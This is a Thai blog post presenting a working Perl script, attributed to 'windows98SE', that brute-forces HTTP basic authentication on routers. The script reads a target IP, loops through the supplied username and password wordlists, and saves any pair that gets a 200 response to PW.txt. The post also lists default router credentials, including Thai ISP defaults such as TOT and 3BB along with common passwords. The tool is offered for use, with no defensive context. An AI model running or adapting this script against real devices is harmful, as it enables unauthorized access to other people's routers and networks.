หน้าเว็บ

วันอังคารที่ 26 กรกฎาคม พ.ศ. 2554

Router Brute Authentication [ Perl ]

#code perl
#!/usr/bin/perl
print "*****************************************

  _____________________
< Brute Authentication >
  ---------------------
       |  ,__,
        | (oo)____
          (__)    )\
             ||--|| *                          \n";
print "*    code by  windows98SE               *\n";
print "*****************************************\n";
use Socket;
use IO::Socket;
use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;

print "IP:";
chomp( my $target = <stdin>);
my @userlist = readFile("user.txt");
my @passlist = readFile("pass.txt");
my $outfile = 'PW.txt';

my %result;
print "[+] Start Scan..\n";
scan($target);
print "[+] Done.\n";
system ("pause");

sub scan {
  my ($target) = @_;
  foreach my $user (@userlist){
   foreach my $pass (@passlist){
     print "[+] Test User=$user Pass=$pass\n";  
    my $browser = LWP::UserAgent->new();
     my $auth = HTTP::Request->new(GET=> 'http://'.$target);
     $auth->authorization_basic($user,$pass);
     my $result = $browser->request($auth)->status_line;
     if($result =~ m/200/ig){
      $result{$target} = "$user:$pass";
      print "[+] Found $target pass is Usr=$user:Pass=$pass\n";
     open(File, ">>", $outfile);
      print File " [+] $target ($result{$target})\n";
     close(File);
      print "\n\n [+] $target ($result{$target})\n\n";
     return;
     }
   }
  }
}


sub readFile{
  my @var;
  my ($file) = @_;
  open FILE, "<:utf8", "$file" or die "
Can't open $file : $!";
 while(<file>){
   my $line = $_;
   $line =~ s/\r|\n//g;
   next if (length($line) == 0);
   push(@var,$line);
  }
  close FILE;
  return(@var);
}

----------------------------------------------------
สร้างไฟล์

user.txt
-------
admin
root
------------
pass.txt

TTT
ttt
tot
TOT
root
3bb
3BB
admin
1234
123456
123456789
tot1234
123456123456
041687512
1234admin
synnet
tech
ANYCOM
ILMI
PASSWORD
Password
password
adminttd
comcomcom
monitor
manager
security
recovery
Wireless
volition
3ware
anicust
crack
hack

ไม่มีความคิดเห็น:

แสดงความคิดเห็น